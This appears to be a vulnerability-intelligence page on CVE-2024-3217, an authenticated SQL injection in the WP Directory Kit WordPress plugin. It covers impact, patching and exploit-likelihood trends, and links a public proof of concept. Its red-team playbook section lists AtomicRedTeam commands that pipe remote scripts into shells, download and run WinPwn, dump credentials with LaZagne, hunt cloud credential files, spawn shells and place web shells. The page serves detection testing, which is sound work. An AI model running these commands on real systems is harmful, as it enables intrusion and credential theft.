CVE-2024-3217
Overview
This vulnerability is a SQL Injection affecting the WP Directory Kit WordPress plugin, specifically in versions up to and including 1.3.0. The root cause is insufficient escaping and lack of proper query preparation for user-supplied parameters 'attribute_value' and 'attribute_id' within the plugin's SQL statements. The flaw resides in the database query construction component handling these parameters, enabling injection of arbitrary SQL commands into existing queries.
Vulnerability Description
The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'attribute_value' and 'attribute_id' parameters in all versions up to, and including, 1.3.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An attacker with subscriber-level authentication can exploit this vulnerability to execute arbitrary SQL queries, potentially extracting sensitive database information such as user data or configuration details. No user interaction beyond authentication is required, and the attack can be launched remotely over the network. This can lead to data disclosure, integrity compromise, and availability impact as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N/C:H/I:H/A:H).
Solution
To remediate this vulnerability, upgrade the WP Directory Kit plugin to a version later than 1.3.0 where the issue is patched. The fix is documented in the plugin's WordPress Trac repository changeset 3064842, which implements proper escaping and parameterized queries in Wdk_frontendajax.php. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/09b315e6-d973-467d-8b8d-4b7b4a7ca3f8 for detailed patch instructions and verification steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WP Directory Kit plugin for WordPress is characterized by a significant SQL Injection flaw, which arises from inadequate input sanitization on the 'attribute_value' and 'attribute_id' parameters. This weakness allows attackers to manipulate SQL queries by injecting arbitrary SQL code into the existing query structure. The absence of proper escaping for user-supplied parameters means that any authenticated user with subscriber-level access or higher can exploit this vulnerability. By appending additional SQL commands, an attacker can extract sensitive data from the database, which may include user credentials, personal information, or other confidential data stored within the WordPress environment.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could craft a malicious request that includes specially formatted input in the vulnerable parameters. For instance, by sending a request that includes SQL commands along with legitimate data, the attacker can manipulate the database operations. This could lead to unauthorized data retrieval or even data manipulation, depending on the permissions associated with the compromised account. Scenarios may range from simple data extraction to more complex attacks that involve chaining multiple SQL queries, potentially leading to further exploitation of the underlying database or application.
The real-world impact of this vulnerability is significant, especially for organizations relying on the WP Directory Kit plugin for managing user data and attributes. The business risk associated with such an exploit includes potential data breaches, loss of customer trust, and legal ramifications due to non-compliance with data protection regulations. An attacker successfully exploiting this vulnerability could gain access to sensitive user information, which could be sold on the dark web or used for identity theft. Furthermore, the reputational damage stemming from a data breach can have long-lasting effects on an organization’s credibility and customer relationships.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments are essential to identify and address potential weaknesses in web applications. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. It is also crucial to ensure that all plugins, including the WP Directory Kit, are kept up-to-date with the latest security patches. In cases where immediate updates are not feasible, developers should consider implementing input validation and parameterized queries to safeguard against SQL injection attacks. Educating users about secure coding practices and the importance of maintaining least privilege access can further reduce the risk of exploitation.
In conclusion, the SQL Injection vulnerability in the WP Directory Kit plugin poses a serious threat to the security of WordPress installations. The ability for authenticated users to manipulate SQL queries can lead to severe data breaches and significant business risks. Organizations must take proactive measures to detect, mitigate, and remediate this vulnerability to protect their sensitive data and maintain the integrity of their web applications. By adopting a comprehensive security strategy that includes regular updates, input validation, and user education, businesses can significantly reduce their exposure to such vulnerabilities and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-3217, rising by over 12% to a current value that places it near the 98th percentile. This upward adjustment reflects growing confidence in the likelihood of exploitation, although our telemetry indicates that exploitation activity remains stable without a rapid surge. Notably, no new proof-of-concept exploits have been publicly released, which suggests that while the vulnerability is increasingly attractive to attackers, widespread weaponization has not yet materialized. For defenders, this shift underscores an elevated risk environment where the window for proactive mitigation is narrowing. The heightened EPSS score signals that threat actors may be intensifying reconnaissance or preparing exploit chains targeting authenticated WordPress users with subscriber-level privileges or higher. Consequently, the threat level for organizations running the affected WP Directory Kit plugin has increased, warranting heightened vigilance despite the absence of a marked escalation in active exploitation attempts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpdirectorykit | Wp Directory Kit | All |
cpe:2.3:a:wpdirectorykit:wp_directory_kit:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
BassamAssiri/CVE-2024-3217-POC
|
BassamAssiri | 6 | 1 | 2024-04-17 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3217 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/09b315e6-d973-467d-8b8d-4b7b4a7ca3f8?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/application/controllers/Wdk_frontendajax.php#L72 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3064842/wpdirectorykit/trunk/application/controllers/Wdk_frontendajax.php |